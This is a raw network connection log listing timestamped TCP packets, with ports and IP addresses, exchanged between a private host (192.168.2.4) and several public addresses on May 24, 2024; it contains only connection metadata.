May 24, 2024 09:42:05.263978004 CEST	49740	80	192.168.2.4	93.186.225.194
May 24, 2024 09:42:05.264005899 CEST	49750	80	192.168.2.4	93.186.225.194
May 24, 2024 09:42:05.264076948 CEST	49750	80	192.168.2.4	93.186.225.194
May 24, 2024 09:42:05.268407106 CEST	80	49743	146.70.56.165	192.168.2.4
May 24, 2024 09:42:05.268462896 CEST	80	49743	146.70.56.165	192.168.2.4
May 24, 2024 09:42:05.268641949 CEST	49743	80	192.168.2.4	146.70.56.165
May 24, 2024 09:42:05.268737078 CEST	49743	80	192.168.2.4	146.70.56.165
May 24, 2024 09:42:05.269021034 CEST	49751	80	192.168.2.4	146.70.56.165
May 24, 2024 09:42:05.273144007 CEST	80	49747	93.186.225.194	192.168.2.4
May 24, 2024 09:42:05.278888941 CEST	80	49749	176.111.174.109	192.168.2.4
May 24, 2024 09:42:05.278944969 CEST	80	49750	93.186.225.194	192.168.2.4
May 24, 2024 09:42:05.290736914 CEST	80	49743	146.70.56.165	192.168.2.4
May 24, 2024 09:42:05.290797949 CEST	80	49751	146.70.56.165	192.168.2.4
May 24, 2024 09:42:05.290980101 CEST	49751	80	192.168.2.4	146.70.56.165
May 24, 2024 09:42:05.291246891 CEST	49751	80	192.168.2.4	146.70.56.165
May 24, 2024 09:42:05.292891026 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.292942047 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.293014050 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.303020954 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.303075075 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.303164005 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.307442904 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.308010101 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.312164068 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.312184095 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.312235117 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.321923971 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.321957111 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.321974039 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.322036028 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.322067022 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.329809904 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.329840899 CEST	80	49744	45.130.41.108	192.168.2.4
May 24, 2024 09:42:05.329858065 CEST	80	49744	45.130.41.108	192.168.2.4
May 24, 2024 09:42:05.329873085 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 09:42:05.329910040 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.329967022 CEST	49744	80	192.168.2.4	45.130.41.108
May 24, 2024 09:42:05.329967022 CEST	49744	80	192.168.2.4	45.130.41.108
May 24, 2024 09:42:05.330200911 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:05.330286980 CEST	49744	80	192.168.2.4	45.130.41.108
May 24, 2024 09:42:05.330435991 CEST	49752	80	192.168.2.4	45.130.41.108
May 24, 2024 09:42:05.330550909 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:05.334878922 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.334928036 CEST	80	49751	146.70.56.165	192.168.2.4
May 24, 2024 09:42:05.334996939 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.346338034 CEST	80	49744	45.130.41.108	192.168.2.4
May 24, 2024 09:42:05.347793102 CEST	49744	80	192.168.2.4	45.130.41.108
May 24, 2024 09:42:05.352615118 CEST	80	49744	45.130.41.108	192.168.2.4
May 24, 2024 09:42:05.352674961 CEST	80	49752	45.130.41.108	192.168.2.4
May 24, 2024 09:42:05.352705956 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 09:42:05.352790117 CEST	49752	80	192.168.2.4	45.130.41.108
May 24, 2024 09:42:05.353210926 CEST	49752	80	192.168.2.4	45.130.41.108
May 24, 2024 09:42:05.388869047 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.390599012 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.390727043 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.396327019 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.397550106 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.398571968 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.398669004 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.398741007 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.406543016 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.406603098 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.406675100 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.419471979 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.419518948 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.419579983 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.424034119 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.424082994 CEST	80	49734	5.42.66.10	192.168.2.4
May 24, 2024 09:42:05.424128056 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.424154043 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.424154043 CEST	49734	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:05.424175978 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.424345970 CEST	49734	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:05.425443888 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.425496101 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.425512075 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.429538012 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.430342913 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.430391073 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.430412054 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.430444956 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.430471897 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.430521965 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.430600882 CEST	80	49752	45.130.41.108	192.168.2.4
May 24, 2024 09:42:05.434933901 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.434982061 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.435036898 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.439702034 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.439750910 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.439866066 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.445055008 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.445103884 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.445146084 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.445171118 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.445250034 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.449086905 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.449100018 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.449165106 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.453861952 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.453918934 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.453950882 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.454092979 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.454092979 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.458093882 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.458127975 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.458190918 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.461702108 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.461736917 CEST	80	49734	5.42.66.10	192.168.2.4
May 24, 2024 09:42:05.461797953 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.462908983 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.463598967 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.472115993 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.477648973 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.485268116 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.485548973 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.486104012 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.487958908 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.487993956 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.488028049 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.488065004 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.489778996 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.491539955 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.491978884 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.492027998 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.494230986 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.494267941 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.494282007 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.494298935 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.494313002 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.494338036 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.497169018 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.497230053 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.498675108 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.498752117 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.498807907 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.501595020 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.501643896 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.501705885 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.504550934 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.504585028 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.504600048 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.505534887 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.507510900 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.507545948 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.507560015 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.507577896 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.507633924 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.510539055 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.510574102 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.510687113 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.514920950 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.514955044 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.515006065 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.515244961 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.515279055 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.515302896 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.517534018 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.517644882 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.517678976 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.517693043 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.517709970 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.517718077 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.517755985 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.520064116 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.520097971 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.520111084 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.520142078 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.522202969 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.522278070 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.522334099 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.525015116 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.525048971 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.525106907 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.562001944 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.562529087 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.562693119 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.563499928 CEST	80	49746	188.114.97.3	192.168.2.4
May 24, 2024 09:42:05.563534975 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 09:42:05.563601971 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:05.563813925 CEST	49746	80	192.168.2.4	188.114.97.3
May 24, 2024 09:42:05.563815117 CEST	49746	80	192.168.2.4	188.114.97.3
May 24, 2024 09:42:05.564102888 CEST	49753	80	192.168.2.4	188.114.97.3
May 24, 2024 09:42:05.564522982 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 09:42:05.564557076 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 09:42:05.564585924 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:05.564620018 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:05.566586971 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 09:42:05.566620111 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 09:42:05.566648960 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.566684008 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:05.566726923 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.568505049 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.568540096 CEST	80	49746	188.114.97.3	192.168.2.4
May 24, 2024 09:42:05.568603039 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.568826914 CEST	49746	80	192.168.2.4	188.114.97.3
May 24, 2024 09:42:05.569519043 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.569598913 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.570560932 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.570595026 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.570617914 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.570643902 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.572540045 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.572616100 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.572655916 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.572655916 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.574558973 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.574592113 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.574611902 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.574634075 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.574661970 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.574711084 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.576514006 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.576548100 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.576575041 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.576606035 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.578536034 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.578567982 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.578619957 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.580581903 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.580615044 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.580671072 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.584180117 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.584213018 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.584243059 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.584259987 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.584443092 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.584475994 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.584506035 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.584538937 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.584566116 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.585680008 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.585714102 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.585740089 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.585745096 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.585755110 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.585786104 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.586960077 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.586992979 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.587016106 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.587040901 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.588422060 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.588454962 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.588483095 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.588515043 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.589889050 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.589921951 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.589952946 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.589966059 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.591635942 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.592094898 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.592128992 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.592160940 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.592180014 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.592200041 CEST	80	49746	188.114.97.3	192.168.2.4
May 24, 2024 09:42:05.592232943 CEST	80	49753	188.114.97.3	192.168.2.4
May 24, 2024 09:42:05.592344999 CEST	49753	80	192.168.2.4	188.114.97.3
May 24, 2024 09:42:05.592423916 CEST	49753	80	192.168.2.4	188.114.97.3
May 24, 2024 09:42:05.592778921 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.592813015 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.592875004 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.592930079 CEST	49754	443	192.168.2.4	188.114.97.3
May 24, 2024 09:42:05.592952013 CEST	443	49754	188.114.97.3	192.168.2.4
May 24, 2024 09:42:05.593008995 CEST	49754	443	192.168.2.4	188.114.97.3
May 24, 2024 09:42:05.593219995 CEST	49754	443	192.168.2.4	188.114.97.3
May 24, 2024 09:42:05.593229055 CEST	443	49754	188.114.97.3	192.168.2.4
May 24, 2024 09:42:05.594290972 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.594325066 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.594350100 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.594357967 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.594367027 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.594444036 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.595712900 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.595746040 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.595772982 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.595803022 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.596967936 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.597002983 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.597033024 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.597063065 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.598284960 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.598319054 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.598349094 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.598377943 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.599545002 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.599577904 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.599607944 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.599608898 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.599623919 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.599648952 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.600780010 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.600812912 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.600836992 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.600862980 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.601991892 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.602026939 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.602076054 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.603189945 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.603224039 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.603266954 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.604381084 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.604413986 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.604464054 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.605442047 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.605474949 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.605499983 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.605506897 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.605530024 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.605549097 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.606626987 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.606661081 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.606689930 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.606719971 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.607712984 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.607748985 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.607805967 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.608829021 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.608863115 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.608886003 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.608915091 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.609903097 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.609936953 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.609965086 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.609967947 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.609991074 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.610008001 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.611017942 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.611052036 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.611080885 CEST	80	49753	188.114.97.3	192.168.2.4
May 24, 2024 09:42:05.611080885 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.611103058 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.611215115 CEST	49753	80	192.168.2.4	188.114.97.3
May 24, 2024 09:42:05.611968994 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.612004042 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.612029076 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.612055063 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.612958908 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.612993002 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.613023043 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.613051891 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.613960981 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.613995075 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.614037991 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.614916086 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.614964008 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.614995003 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.615009069 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.615035057 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.615837097 CEST	80	49738	185.172.128.159	192.168.2.4
